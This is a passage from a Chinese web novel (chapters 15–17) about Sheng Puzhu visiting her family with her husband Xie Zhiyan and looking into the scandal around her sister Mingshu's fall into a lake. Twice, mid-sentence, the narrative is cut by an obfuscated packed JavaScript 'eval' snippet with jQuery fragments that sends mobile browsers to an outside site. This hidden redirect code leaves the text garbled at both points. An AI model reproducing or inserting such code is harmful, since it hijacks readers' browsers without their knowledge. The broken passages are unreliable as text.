都说明德侯府以诗书传家,世人只知盛家教养出来的姑娘大气有度,规矩了得,却不知盛家的家学渊源,一直秉承着男女一视同仁的祖训。
盛家女郎们的行事,端庄贤淑只是为人处世的前提,至于别的,她们有格局有眼界,手段自然更不一般。
而盛家的郎君们虽是在朝中为官,但并不掌权,多半外放以清廉端正为准则,就算是身为帝师的老侯爷,年轻时也在巴蜀之地待了多年。
盛菩珠仰起脸,还是像小时候一样在老夫人怀里娇声娇气道:“所以祖母不必担心我,我能把日子过得很好。”
老夫人拿帕子摁了下眼睛:“长公主娘娘和谢家老太太都是和善好相处的长辈,你只要有时间,就时常回娘家小住,多陪陪你母亲。”
“只要有我在,这个盛家就没人敢说一句你的不好。”
“嗯。”
“孙女知道的。”
盛菩珠轻轻咬住唇,眼睫垂着,柔软的掌心紧紧握住老夫人枯瘦的手。
十三岁那年,父亲发生意外死于任上。
那日不只是她与幼妹失去了父亲,她的祖母同样失去自己的长子,母亲因为受不住打击,才诊断出有孕的身体当晚就见了血。
后来因为长房无子,族中长辈提出让母亲从分支里选一个孩子继承香火,母亲不愿,是祖母为母亲挡住了所有的压力。
祖母为了母亲能静心休养,后来还做主让三房分家不离家,公中账册理清,各自都管一册账本。
让她母亲自立女户,特地在明德侯府隔壁重新买了一间小院,开了小门互通,盛菩珠她们原来住的院子也都留着。
至于重新买一个小院,是听了太医的建议怕她母亲睹物思人,毕竟心病难医。
若是没有祖母,以及婶娘和叔父的照顾,盛菩珠不敢想当时母亲的身体能不能熬过来。
祖孙俩又悄悄说了许多体己话,老夫人喝了一口茶润喉:“好了,时辰也不早了,你去你大哥哥院子喊上执砚,午膳陪你母亲一起用,晚膳再来我这里吃。”
盛菩珠点点头,起身行礼。
“孙女知道。”
“孙女等晚膳再过来。”
“祖母,菩瑶也告退了。”
盛菩瑶就像一个小尾巴,跟在盛菩珠身后一个劲地问:“大姐姐,你打算在家中住几日呀?”
“少则六七日,多则小半月。”盛菩珠走到外边小花园,忽然想起什么。
她看向盛菩瑶问:“你二姐姐怎么好端端就病了?”
“我今日归宁,婶娘和三妹妹也没来,你们是不是有事瞒着我?”
盛菩瑶凑上前,神秘兮兮道:“二姐姐的风寒,是因为前几日不小心落水了。”
“落水?”
“怎么回事?”
盛菩瑶是个急性子,立刻就把知道的都交代了。
“长宁郡主办赏梅宴,邀了二姐姐过去,后来也不知怎么的,辅国公府家的小娘子好像是吃酒醉了,不小心把二姐姐推到湖里去了。”
“还好冬日水浅,二姐姐摔下去时,只是湿了襦裙,人没有被淹到,后来就被人救起来送回家中。”
盛菩珠听完,眉心紧拧:“救人的是谁?”
盛菩瑶摇头:“二姐姐不肯说,回来没多久就起了高热,已经烧了好几日了。”
“婶娘和三姐姐衣不解带照顾,明明都快好了,可是……”
盛菩瑶把头低了下去。
盛菩珠立马听出了不对劲:“可是什么?”
盛菩瑶凑上前,用非常小的声音说:“我也是偷偷听到的,大姐姐你得保密。”
“好像是兴平侯府也不知从哪里听说二姐姐落水的事,昨日兴平侯夫人上门了,虽然没有明说,但那意思恐怕是要退婚。”
“话里话外都是指责二姐姐行为不得体,湿了裙子,还不知是被哪个外男所救,婶娘昨日也被气得病倒了。”
难怪了!
盛菩珠眼神凉凉的:“兴平侯府算什么东西,我盛家的女儿是她圆的扁的随便捏的!”
盛菩瑶赶紧去捂盛菩珠的嘴:“姐姐小声点,虽然两家婚事是早早就定下的,但事情还没到那一步,姐姐先别骂。”
“我听说退婚是侯夫人自个儿在胡闹,兴平侯府世子今儿一早偷偷让人给姐姐递消息,说他会去说服家中长辈。”
“什么叫没到那一步?”盛菩珠侧过脸,视线落在园子里结了冰的湖面上,“婆母不慈,这样的人家我看就不能嫁进去。”
“如今的大燕又不是前朝那种风气,女郎骑射打马球都是寻常事,落个水怎么了。”
“这种人家,分明就是拿根鸡毛也能当令箭,打肿脸充胖子,看似风光其实内里阴私下作一窝。”
盛菩瑶十分认可地点头:“可是我瞧着,二姐姐还是喜欢兴平侯世子的。”
“不然也不会病成这般模样。”
“祖母怎么看?”盛菩珠问。
盛菩瑶道:“祖母觉得两家结亲,结的是两姓之好,就算退婚也绝不是二姐姐的错,家中自有父母兄长替二姐姐撑腰,全看二姐姐的意思。”
盛菩珠知道,盛明淑的性子在姐妹几人里,是最拧巴的那一个。
她生来就体弱些,加上人也文静,整日看些诗词歌赋,看似冷冰冰的性子,实则是姐妹里最心软嘴硬的。
从小到大,盛菩珠经常和她相互看不顺眼,可姐妹感情却是半点没少。
“先去大哥哥院子里叫郎君,等陪母亲用完午膳,我们就去看你二姐姐。”
“我都听大姐姐的。”盛菩瑶脸颊上还带着婴儿肥,一双圆溜溜的眼睛里满是崇拜,因为在她的心里就没有她家大姐姐办不成的事。
……
“大哥哥。”
“二哥哥。”
盛菩珠拉着盛菩瑶穿过廊庑,远远就看到在亭子里下棋的两个哥哥。
盛临渊和盛临清同时站了起来,笑着挥手:“菩珠妹妹来得正好。”
凉风拂面,青石板积雪扫至两侧,盛菩珠小心提起裙摆,露出碧青色缎面云头锦履,鞋尖用翡翠米珠攒成的碧蝶,她一双眼睛巧笑嫣然,不同于在靖国公府时的那种时刻透着规矩的端庄。
谢执砚慢慢抬起眼,执黑色云子的手悬在半空中,枣红色衣袖垂下,眼尾余光映着她愈来愈近的倩影。
人还未到,明媚的笑容看着像是要溢出来,奔跑时裙角扫过石阶,像是点水的蜻蜓,不会停留。
谢执砚呼吸莫名一凝,指节忽然用力,云子压在骨头上,硌得掌心发痛。
生动热烈,像是用手抓不住的春风,也是他从未见过的模样。
“阿兄。”
盛菩珠直接扑到两位兄长身边,仰头看他们:“我好想你们呀。”
盛临渊宠溺揉了一下妹妹的脑袋:“更想你二兄,还是更想我?”
盛菩珠狡黠一笑,尾音拖得长长的:“嗯
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740115|174125||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
“我自然更想念二兄一些,毕竟上回大兄成婚我回来了,二兄之前去了蜀地,算起来也快一年不见。”
盛菩珠左右看了一下:“怎么不见大嫂嫂?”
盛临渊摊了摊手:“你与执砚回得不巧,你嫂嫂十日前和她母亲回范阳给她外祖父过寿,马车走得慢我就让你嫂嫂先走。”
“你若再晚一日,我明日也出发去范阳了。”
盛菩珠笑道:“那还算是赶上见大兄一面。”
“嗒。”黑子落在棋盘上的声音。
谢执砚垂眸,唇角压着一抹淡笑:“临渊该你了。”
盛临渊这才想起来,挠了挠头发,抬眼一看,白子所有的路直接被黑子堵死了。
他连挣扎都免了:“算了算了,我下不过你,我认输。”
谢执砚慢条斯理抚平袖口的压痕,语调很淡:“承让。”
盛临清哈哈一笑,用开玩笑的语气,表情却很认真说:“三郎,你一定要好好对我们家的菩珠。”
盛菩珠装作害羞,微垂下的视线正好落在男人修长的手上,他食指和中指间拈着一颗未放下的黑子。
漆黑的云子,衬得他指尖肤色如玉,指腹因常年握剑执笔有明显的薄茧,此刻正以轻慢的动作摩挲着云子边缘。
他似察觉到她的视线,指尖微抬,黑色云子叮咚落进棋罐里。
盛菩珠感觉心脏犹似跳停了一下,她半晌才想起来自己要干嘛。
“阿兄,我先带郎君去给母亲请安。”
“等午膳后,你们再叙。”
谢执砚站起来,衣摆垂落,袖口和衣襟金线绣的忍冬纹,在日光下泛着暗芒。
两人并排走着,因为花园里路窄,就离得近,衣袖偶尔相触,又无声无息分来。
盛菩瑶就小心又谨慎地跟在盛菩珠身后,她应该是怕谢执砚的,离他远远的。
三人走了一段路,然后穿过一个垂花门,才到盛家大夫人寡居的小院。
虽然是冬日,院子里依旧开满了花,翠绿的松竹树叶声沙沙,还有一整片刻意没有清扫的雪,雪地落了一串小猫脚印。
“阿娘。”
“我回来了。”
盛菩珠迈进花厅,就看见母亲笑吟吟在修剪一束花枝。
“回来了?”
“是要先吃点心,还是先喝茶?给你做了最喜欢的花折鹅糕。”
盛家大夫人姓苏,单字渝。
她嫁入明德侯府时,已经年方二十三,二十四岁生下盛菩珠,在三十岁时有了盛菩瑶。
后来丈夫离世,她搬出明德侯府,独居在这间小院。
她看盛菩珠时目光慈爱,有着江南水乡女子特有的温柔,对于出嫁归家的女儿,只是慢声细语地问,就像是长女从未出嫁,一直留在家中。
盛菩珠鼻头一酸,差点落下泪来,她硬生生忍下,也没有多想,伸手就握住谢执砚的大手,想要拉他上前行礼。
等掌心相触,那股微妙的凉,她这才反应过来自己究竟做了什么,指尖不受控制颤了一下。
“母亲,这是谢家三郎执砚。”
大夫人看着两人相牵的手,笑了一下:“嗯,是俊俏的郎君,瞧着比大婚那日还好看。”
盛菩珠耳尖微热,假装没听懂来自长辈的调侃,她择人看脸,这是盛家每个人都清楚的事实。
谢执砚难得敛了平日的冷峻,微微颔首,一丝不苟上前行礼。
圆桌上饭菜已摆好,嬷嬷带着婢女远远退开。
谢执砚坐在盛菩珠身旁,他讲究食不言。
可惜盛菩珠难得回家,盛菩瑶还是活泼的年纪,虽然大夫人苏氏话不多,但也会笑着和两个女儿说上几句。
白瓷碗和象牙筷偶尔轻碰发出细微的声响,盛菩珠笑语嫣然同母亲说着家常趣事,偶尔提及闺中旧事,她更会透出小女儿的娇态,桌下还蹲着一只等着喂食的狸奴。
谢执砚不太习惯这样的热闹,但他只是安静用膳,执筷的姿势矜贵端雅,连碗盏轻触都不会发出半点声音。
可每每盛菩珠说到趣事时,她勾起的唇,弯弯的眉眼,都会不经意落入他的眼中。
连他自己的未曾发觉,以往平直抿着的唇,此刻唇角阴影微微勾起一丝,就算是他也无法拒绝这样的喜悦。
余光,总在不经意的瞬间,无声无息地注视着她的一颦一笑。
哪怕之前他们做过这世间最亲密的事。
他也从未见过她有这样鲜活的情绪。
16. 第 16 章
用过午膳,盛菩珠陪母亲说话。
起初,她还顾忌谢执砚在场,颇为收敛平日在家中小女儿的娇态。
后来许是时间久了,他自始至终安静喝着茶,枣红色衣袍半隐在冬日暖洋洋的光晕里,唯有那双眼睛,沉静深邃,偶尔抬起眼帘,又在四目相对的瞬间错开。
花厅外,狸奴抓雀的身影一闪而过。
盛菩瑶叽叽喳喳说着明日要学的课业,又说到回范阳给长辈祝寿的大嫂嫂,会给她带范阳特有的菱枣和丝绸做的绢花。
盛菩珠咬了一口花折鹅糕,里边包着甜丝丝的果子酱,唇齿生香,一路甜进心里。
她下意识眯起眼睛,索性倚进母亲的怀里,软声道:“阿娘,等明年盛夏,女儿带您和祖母去天长观下边的庄子避暑吧?”
“长公主娘娘喜欢热闹,祖母喜欢打叶子牌,祖父喜欢钓鱼,刚好那处庄子依山傍水,到时候把家里几个妹妹也叫上。”
“还能叫庄头去山上打了獐子,夜里我们在溪边烤肉吃。”
盛大夫人忍俊不禁,指尖轻轻点她的额头,有些苍白的唇弯了弯:“多大的人了,还是这般孩子气。”
话虽这样说,却亲自用银签子扎了一颗夏天酱的青梅,喂给她:“等到盛夏,我身子若能好些就与你同去。”
盛菩珠张唇含住青梅,舌尖抵了抵,清甜中透出一股令人精神一振的酸。
她喜欢这种有些极端的滋味,牙齿用力,已经去了核的青梅被碾碎,极致的酸在唇舌间泛滥开,盛菩珠觉得愉悦和满足,她眼尾余光悄悄瞥向谢执砚。
男人端坐如松,手中端着瓷盏,指腹无声压在盏沿,神色从容,瞧不出情绪。
……
莫约未时三刻,盛菩珠小心翼翼站起身,朝远处的嬷嬷招了招手:“母亲累了,劳烦嬷嬷拿了枕子和垫子来,暖阁朝南,阳光正好,就在这里休息。”
老嬷嬷笑着应下:“娘子贴心,我们会照顾好夫人。”
等一切安置好,盛菩珠带谢执砚离开小院,她朝垂花门右手边的廊庑指了指:“郎君可记得我大兄院子怎么走?”
“从廊庑穿过去,绕过水榭,就能看到大兄的院子。”
寒冬的风穿庭而过,卷起她鬓边一缕碎发,在他面前,她无论是语调还是神态,又恢复了谢家长媳该有的端庄模样。
谢执砚微微皱了下眉,他不善表露情绪,就算有与他认知相悖的怪异,到底是教养使然,他并不打算私自探究为何体贴大方的妻子,在他与家人面前,为何是两种截然不同的模样。
夫妻二人在小花园分开。
盛菩珠带着盛菩瑶穿过左手边的廊庑,她边走边说:“等会我与你二姐姐说话时,你想办法把婶娘给支开。”
盛菩瑶点头:“我知道,可不能吓着婶娘。”
“毕竟叔父还在任上,这样大的事情家中也就只有婶娘和祖母能做主了。”
盛菩珠越走越快,走到后面开始提着裙摆小跑起来。
襦裙的裙摆如同水纹漾开,金丝线绣的并蒂莲花在阳光下,泛着斑斓的光,纤瘦柔美的背影宛如初春柳枝抽条的嫩芽,她还拉着一个比她矮了很多的小娘子,就像翩飞的蝴蝶,灵动美好。
谢执砚站在花园的拐角处,直到那只蝴蝶飞走了,他才漫不经心收回视线。
他是园子里赏花赏雪的贵客,四下无人,没人知道他在原地究竟站了多久。
“二姐姐,三姐姐。”
“大姐姐来了。”盛菩瑶人还没进去,就很大声地朝院子里喊。
果然没多久,盛明雅提着裙摆先跑出来:“大姐姐。”
盛菩珠拉着盛明雅上下打量一圈:“怎么瘦了这么多?”
盛明雅想说什么,就听到身后自家阿娘虚弱的声音喊道:“菩珠,我今日不得空,又怕传染了病气,你与夫君一同归家,都没能亲自招待。”
“婶娘。”
“我听祖母说二妹妹病了,所以过来瞧瞧。”盛菩珠屈膝行礼,人还没站直就被盛二夫人一双冰冷的手紧紧握住:“好孩子,辛苦你还特地过来。”
“明淑刚醒,这会子连药都不愿喝了,她这是要做什么,是要挖我的心肝。”
“婶娘求你,去帮我劝劝她。”
事情明显比盛菩珠预判的更严重一些。
明明大哥哥成婚那次,婶娘精神很好,可今日一见,满脸病容不说,人瘦得那衣服穿在身上都空荡荡的。
盛菩珠垂下眼帘,握住盛二夫人的手:“我去看看明淑,方才菩瑶说想摘园子里的腊梅,我怕她摔了,不如婶娘帮我看着她。”
盛菩瑶立马拉住盛二夫人的袖摆:“婶娘陪菩瑶去吧,刚好给二姐姐也摘几枝新鲜的腊梅放在屋里头。”
盛二夫人一怔,转眼明白过来,她嘴唇动了动,拒绝的话终究没能说得出口。
“好,婶娘跟你去。”
“二妹妹。”盛菩珠绕过屏风,就看见盛明淑白着一张小脸靠在大迎枕上,婢女端着一碗已经放温了的汤药,正急得原地转悠。
“给我吧。”
盛菩珠伸手端过汤药,拿起汤匙轻轻搅了一下。
“二妹妹这是怎么了?我好不容易回来一趟,这是装病不愿见我?”盛菩珠就当没事人似的往榻旁的月牙凳一坐,用的还是那种凉飕飕的语气。
果不其然,盛明淑就算是再虚弱,她还是睁开眼睛,眼尾红红的,觉得自己委屈死了。
可又别扭道:“我何曾因为不愿见大姐姐,要用装病这种稚童的手段?”
盛菩珠把手里的药碗递上前:“那把药喝了,我就信你。”
“我不想喝,我病死算了。”盛明淑抿了一下干涩的唇。
盛菩珠纳罕道:“你看,你还说不是为了不见我装病,连药都不愿喝。”
盛明淑感觉没被气死,反而要被气活了,她气呼呼用手撑着要坐起来,奈何身上没有半点力气。
“二姐姐,我扶着你,你别激动。”盛明雅眼疾手把人扶起来。
盛菩珠适时把药碗塞到她手里。
“说说吧,究竟怎么回事?”
“好端端去长宁郡主家赏个梅,还把自己折腾成这副鬼样子,平时在家中我就算再与你不对付,都舍不得让你折一根头发。”
“到了外边被人这样欺负,你往日与我拌嘴的聪明劲儿去哪了?”
盛菩珠恨铁不成钢道。
盛明淑一边喝药,一边哭,金疙瘩一颗一颗掉进碗里。
等药喝完,人也哭够了。
盛明雅拧干帕子递给她:“姐姐你就说说,究竟是怎么回事。”
“娘亲和祖母问你,你不愿多说,现下大姐姐回来了,总能说了吧?”
盛明淑闭着眼睛,声音沙哑道。
“长宁郡主赏花宴那日,我身子本就有些抱恙已经让人拒了的,只是平兴侯世子说他写了一首好诗,正好梅园的绿萼梅也开了,叫我一定不要错过。”
“后来我茶水喝多了,去更衣回来的路上,遇到辅国公府家的小娘子吃醉酒差点落水,我既然遇到就拉了她一把,让婢女送她去换衣裳,我就原地在湖边赏枯荷。”
“结果不知是谁,撞了我一下,我就跌到半干的湖里去了。”
“既是宴客,那么大的园子,怎么可能没人?”盛菩珠冷笑。
盛明淑咬紧唇,声音低了下去:“因为那时天快黑了,有人带了烟火在梅园里放,估计大家都被烟火的热闹吸引过去。”
“我当时脚陷在湖边泥潭里,根本爬不上去,烟火的声音又大。”
说到这里,盛明淑捂住眼睛:“后来……”
“后来慌乱中,有一个陌生郎君把我拉起来。”
盛菩珠看着她不说话,直到盛明淑抖了抖,她才道:“就因为这点事,你病成这样?”
盛明淑摇头:“若是这点事,湿了裙子也就罢了。”
“可是不知道谁传出来的,说我在湖边和野男人私私相授,还解了衣裙。”
“大姐姐,说这话的人,不是要逼我去死吗?”
盛菩珠也愣了一下:“这话从哪里传出来的?”
盛明淑摇头,捂着脸双肩颤抖:“我不知道,明明那日长宁郡主亲自把我送回家中时还好好的,可是昨日兴平侯夫人来时与祖母说,就变成了赏花那天好多人都瞧见我衣衫不整的模样了。”
“大姐姐你是知道我性子的,素来清高,身子又弱,怎么会是那样不检点的女郎,做那样不知羞耻的事?”
盛菩珠觉得事情恐怕没有这么简单,她声音微沉:“那日救你的郎君,你可知是谁?”
盛明淑摇头:“落水归家那日,母亲和祖母就派人去问了,长宁郡主也帮着查,结果根本就没有我说的这个郎君。”
难怪婶娘憔悴成这般模样,找不到救人的人,那不就是相当于坐实了外边的风言风语,变相承认有那么一个见不得光的野男人。
盛菩珠沉默着。
良久,她出声问:“那与长兴侯世子的亲事,你自己怎么看?”
盛明淑抓着帕子的手一紧,低下头:“他今日让人给我送信,他说相信我与他之间多年的情意,我并不是那样不好的女郎。”
“就算……就算日后名声有碍,他也愿娶我为妻。”
“他说他不会同意退婚,让我再等等,一定会想办法说服她母亲。”
盛菩珠慢慢站起来,踱步在屋子里转了一圈,她习惯性从袖中掏她的白玉算盘,结果拿了个空,这才想起来,上回差点砸坏谢执砚,她就给收起来了。
“你还是想嫁给他?”盛菩珠问。
盛明淑犹豫一下,认真点
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740116|174125||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
头道:“我与他自幼相识,及笄后定下亲事。”
“遇着这样的难堪的事,他既然还愿信我,我自然不能辜负他的一番心意。”
盛菩珠转过身:“就算长兴侯夫人是个不好相处的人,你嫁进去必受委屈?”
“大姐姐。”
“我嫁给他,日后是同他过日子,长兴侯夫人不好相处,我尽量避开就是,而是长兴侯府就他一个嫡子,我又不用与人去争,总归不会太难。”
盛菩珠看着盛明淑坦然的目光,她忽然问:“既然长兴侯世子信你,那为何她母亲上门折辱你的时候,他不能把人拦下?”
“为何他话里话外的意思,就像认定了你已经做了不好的事一样?”
“若他是个有担当的郎君,发生这样的事,难道不应该第一时间想办法去查原因吗,而不是写一封信,加几句轻飘飘的诗句,等着你毁了名声再把你迎娶进他们家,然后让你在他家中一辈子抬不起头,永远低人一等。”
“难道这就是长兴侯世子所谓的情比金坚?”
她看盛明淑默不作声,低着脑袋一副又要爆哭的架势。
干脆搬出身为长姐的气势:“盛明淑你天天只看诗词歌赋,是把你脑子也看坏了吗!”
“这世间哪有那么巧合的事!”
“偏生就你发发善心救人还反被落水,身边的婢女也被支走。”
“你既然已明确告知身体抱恙,不去长宁郡主的赏花宴,为何长兴侯世子非得邀你去赏狗屁的绿萼梅?”
“他不是自诩善解人意又贴心的郎君吗?贴心起来连你身体都不顾了?”
“身为八尺男儿,整天就知道写几个文绉绉的诗词,真把他自己当个玩意,当初你要与他定亲,我就没少说你,让你好歹拿他和家中兄长做个比较,你偏不听。”
盛菩珠越想越气,接着又不甘心道:“满长安吟诗作画学问还好的郎君多了去了,你挑谁不好,非得挑个丑的。”
盛明淑根本忍不了这个“丑”字,她嗷的一声哭出来:“他那里丑了,只是长得算不算俊俏而已。”
“满长安城的女郎,也不是人人都是大姐姐,不管学问不管家世,只管郎君相貌一定要一等一的出挑。”
“我不是姐姐那般肤浅,只看外貌的女郎。”
盛明珠也不生气,反而骄傲扬了扬下巴:“没办法,我就是这样肤浅的女郎,好歹相貌是明明白白摆在台面上能挑的。”
“再说了,家中有祖母和祖父把关,你觉得没有家世和学问的郎君,能入盛家那本挑夫婿的册子么!”
“哦,差点忘了。”盛菩珠凉凉一笑,“长兴侯府的郎君就没能入我们盛家挑夫婿的册子,长兴侯世子是二妹妹在诗会上自己挑的。”
盛明淑不是傻的,既然她这位长姐已经把话说到这个份上,恐怕她落水这件事,八成是被有心之人算计了。
想到这里,她捂着快要喘不上气来的心口,声音发涩:“那大姐姐觉得,是我错了?”
“你能有什么错?”
“救人不是你的错,跌倒也不是错,有错的应该是那些用下作手段算计之人。”
盛菩珠俯下身,拉起盛明淑冰冷的手,温声道:“这件事交给我去办。”
“我与端阳长公主有几分交情,长宁郡主是宁亲王嫡女,宁亲王刚好和端阳长公主是同母所生的兄妹。”
“能查得出来吗?”盛明淑手掌握成了拳头。
盛菩珠笑了一下,明显已经有了主意:“我办事,你放一百个心。”
两人离得近,以盛明淑的角度,刚好能看到她光洁无瑕的脖颈,因为天冷,领口扣着一圈狐裘围脖,雪白一截露在外边,似新雪堆砌,又似白瓷生光。
盛明淑看着眼前夺目的美色,许是哭得久了脑子一抽,她想也没想就问:“姐夫回长安后,姐姐不会还没有和姐夫圆房吧?”
“姐姐不是说,单看脸也能夫妻恩爱吗?”
盛菩珠表情明显凝固一瞬,很快就反应过来她话中的含义:“怎么,你单看脸就知道我夫妻不恩爱了?”
“两位姐姐,方才不还是好好说话吗?”
“怎么就吵起来了?”
盛明淑虚弱归虚弱,可声音一点都不低:“你先别说话,我问大姐姐呢。”
盛菩珠冷哼,理直气壮:“自然是夫妻恩爱。”
“你骗人!”
“大嫂嫂和哥哥圆房的次日,我去给嫂嫂行礼的时候瞧得可清楚了,嫂嫂衣襟下边都是圆房后梅花一样的红痕。”
“为此我还私下还悄悄问了祖母,祖母说那是夫妻恩爱的证明,叫我不要胡乱往外说。”
“大姐姐的脖子,别说的红痕了,连个轻微的印子都没有。”
“你看,我就说嘛!”
“单看郎君的脸是不行的。”
17. 第 17 章
盛菩珠怔住,耳畔嗡嗡嗡的。
简直不敢相信自己听到的,她觉得一股热气直冲天灵盖,看向床榻上的小娘子气呼呼道。
“盛明淑!”
“你简直……你看我不撕烂你的嘴。”
盛明淑拥着锦衾,苍白的指尖从瓷罐里捏出一颗蜜饯,因为连续高烧,她两颊消瘦,一双眼睛倒是恢复了几分神采。
“姐姐可不能趁我病着,就要我命。”
“方才好不容易咽下去的苦涩汤药,待会儿又要被大姐姐给吓吐了。”
她扯唇笑了笑,好歹不是一开始病恹恹的可怜模样。
盛菩珠伸手,直接把盛明淑摁在床上胡乱揉了一通,把她梳得顺直的长发弄成了凌乱的鸟窝,故作镇定道:“你个未成婚的小娘子,能懂什么夫妻恩爱!”
盛明淑还在嘴硬:“我瞧着大姐姐也不是很懂的样子。”
“行了,你觉得不懂就不懂吧。”
“好好躺回去,睡一觉,明雅在屋里陪你,我现在就去端阳长公主府。”
盛明淑一下子拉住她的手,眼睛红红的,嘴唇颤抖着想说什么,却所有的声音都堵在嗓子里,只是一个劲地流泪。
她和盛菩珠自小不和,姐妹几人打闹斗嘴的事没少折腾家中长辈。
在盛明淑的记忆里,只比她大两岁的盛菩珠,曾经也爱哭闹,更是盛家几个姑娘里被老祖宗宠得最娇气没边的。
不知是从什么时候开始,盛家最娇滴滴的女郎变了,变得冷静从容,进退有度。
盛明淑心中一悸,她忽然想到七年前,从遥远的登州传来大伯父死讯的那一天,好像一切都变了。
“不必太感动,盛家的女郎可轮不到外人欺负。”盛菩珠慢条斯理站起来,看着有些走神的盛明淑,她虽然是轻飘飘的语气,眼底压着冷淡和嘲弄像是有了实质。
端阳长公主府。
“怎么突然就过来了?”
“我听外头说,你连马车都没坐?”端阳长公主想到前些天因郎子跳舞惹下的祸事,她心虚得很。
盛菩珠扬了扬手里的马鞭,缓了一口气道:“事情比较急,坐马车来不及,所以找阿兄借了马。”
端阳长公主连忙塞一个手炉到她怀里,拍着胸口心有余悸:“吓死我了,我还以你来找我算账的。”
“好菩珠,上回我错了,我不该抛下你的。”
“就原谅我一回,好不好。”
盛菩珠抿了一下唇:“算账的事以后再说,端阳我今日寻你,是有事相求。”
“你与我是什么关系,还用得到求这个字。”
端阳长公主被她身上冷意,冰得打了个抖,朝周围伺候的人挥了挥手:“我与世子夫人说体己话,你们先下去。”
“今日事出突然,我本不该贸然造访,但又担心夜长梦多留下隐患。”见人都退远后,盛菩珠才压低声音,把长宁郡主赏花宴上的事说了一遍。
端阳长公主听完,冷哼了声:“你家二妹妹,恐怕是被人做局算计了。”
“哪有那么凑巧的事。”
盛菩珠同样点点头:“我也是这样想,但又怕唐突长宁郡主,只能求到娘娘您这儿了。”
端阳长公主眯起眼睛,沉吟片刻:“不算什么过分的事,我现在让人套马,我们现在就去宁亲王府。”
盛菩珠当即松了口气:“有劳娘娘了。”
“你与我,谁跟谁。”
“整个长安城,除了你那位面冷心冷的夫君和宫里的贵人外,就没有本宫不敢得罪的人。”
“我们现在就过去,然后让人去辅国公府把那位醉酒的小娘子也接来。”
端阳长公主几句话就把事情吩咐下去,一行人有条不紊上了马车。
宁亲王府内。
长宁郡主是在睡梦中被婢女叫醒的,她连衣裳都来不及重新挑选,匆匆往花厅去。
“姑母,您怎么来了?”
端阳长公主指了指盛菩珠,慢悠悠挑了下眉:“好宁儿,不是姑姑找你,是靖国公府世子夫人找你问些事情。”
长宁郡主是见过盛菩珠的,但只限于远远瞧见过这位花颜月貌的盛家大娘子。
“郡主万安。”盛菩珠先朝她行了万福礼。
长宁郡主被近在咫尺的美人迷得脑袋发晕,半晌才慌忙反应过来要回礼。
“不知盛家大姐姐找我何事?”
“叨扰郡主,我今日来是想问问郡主可有那日赏花宴宾客的名单?”盛菩珠问。
“给各府送帖子时,留了一份名单,我这就让人去取来。”
“前几日盛家老祖母和盛二夫人也让人来问过,宾客名单我瞧着并没有任何不妥的地方,不知明淑的身体可有好些?”
“我前日去看她,她烧得都糊涂了,拉着我的手一个劲地哭。”
盛菩珠叹了口气:“依旧反复高热不见好,昨日长兴侯夫人过府,说是要退亲,我那妹妹病得就更厉害了。”
“退亲?”长宁郡主大惊。
“落水又不是不得了的事,怎么好端端闹到要退亲?”
盛菩珠假装惊讶:“郡主难道不知?”
“什么?”长宁郡主满脸不解。
“昨日兴平侯夫人与我家祖母说,郡主府中赏花那日,好多人都瞧见我家二妹妹衣衫不整的模样了。”
“说根本不是落水,而是与人私会被外人瞧见了。”盛菩珠声音幽幽道。
“怎么可能!”长宁郡主转头看端阳长公主,“姑母,盛家大姐姐说的都是真的?”
端阳长公主冷哼:“自然,好端端骗你作何。”
长宁郡主脸都白了:“不可能啊。”
“那天盛家姐姐回去前,我还警告过王府的仆妇不许私下嚼舌根,不许对外提落水的事,而且当时我邀请的宾客都在梅园看烟火,知道姐姐落水的人,少之又少。”
“怎么会有这样不要命的流言蜚语。”
恰好这时候,去辅国公府接人的嬷嬷来了,她身后跟着一个粉衣的小娘子。
“不知郡主寻我来是?”宋竹宜话都没说完,人却已经开始发抖。
盛菩珠淡淡扫了眼,面前这个一看就胆子很小的女郎。
端阳长公主率先开口:“你莫要怕,就是寻你问一问赏花宴那日的事。”
“嗯。”宋竹宜低着头,因为紧张,手里的帕子都快给她绞烂了。
“平日喝酒吗?”盛菩珠忽然问。
宋竹宜一呆,声如细丝:“我不喝酒的。”
“那日不慎醉酒是我失态。”
她咬了一下唇,鼓起勇气解释:“郡主邀我赏花宴那日,我根本不知道盏子里装的是酒。”
“明明和其他几个不喝酒的姐姐们一样,我喝的也是园子里另外准备的茶水,偏偏就我醉酒失态,若不是明淑姐姐拉住我,我恐怕就真掉湖里去了。”
花厅里气氛瞬间一凝。
长宁郡主拧眉,表情不是很好看:“去,把那日在桃园负责茶水的婢女叫来。”
没一会儿,嬷嬷带了四个婢女进来。
盛菩珠冷冷一眼扫过去,四人皆低头跪在地上,有不同程度的紧张。
等把人叫上前,挨个问一遍话,倒是没有什么不对劲的地方,看着就像是宋竹宜粗心,自己拿错了杯盏。
“平时都是在哪里伺候,负责什么?”盛菩珠忽然俯下身,清凌凌的视线从四人交握的手上扫过,最终落在一双光洁细腻的手上。
“回娘子,奴婢平日负责梅园的扫洒。”
“奴婢替郡主打理梅园四季花卉。”
当轮到第三人时,那个婢女明显一抖:“奴婢……奴婢是府里刘姨娘的贴身婢女。”
盛菩珠和端阳长公主对视一眼:“刘姨娘的婢女,好端端去梅园伺候茶水?”
长宁郡主沉下脸,声音也是冷的:“梅园有伺候专门伺候的人,你找谁拿的差事?”
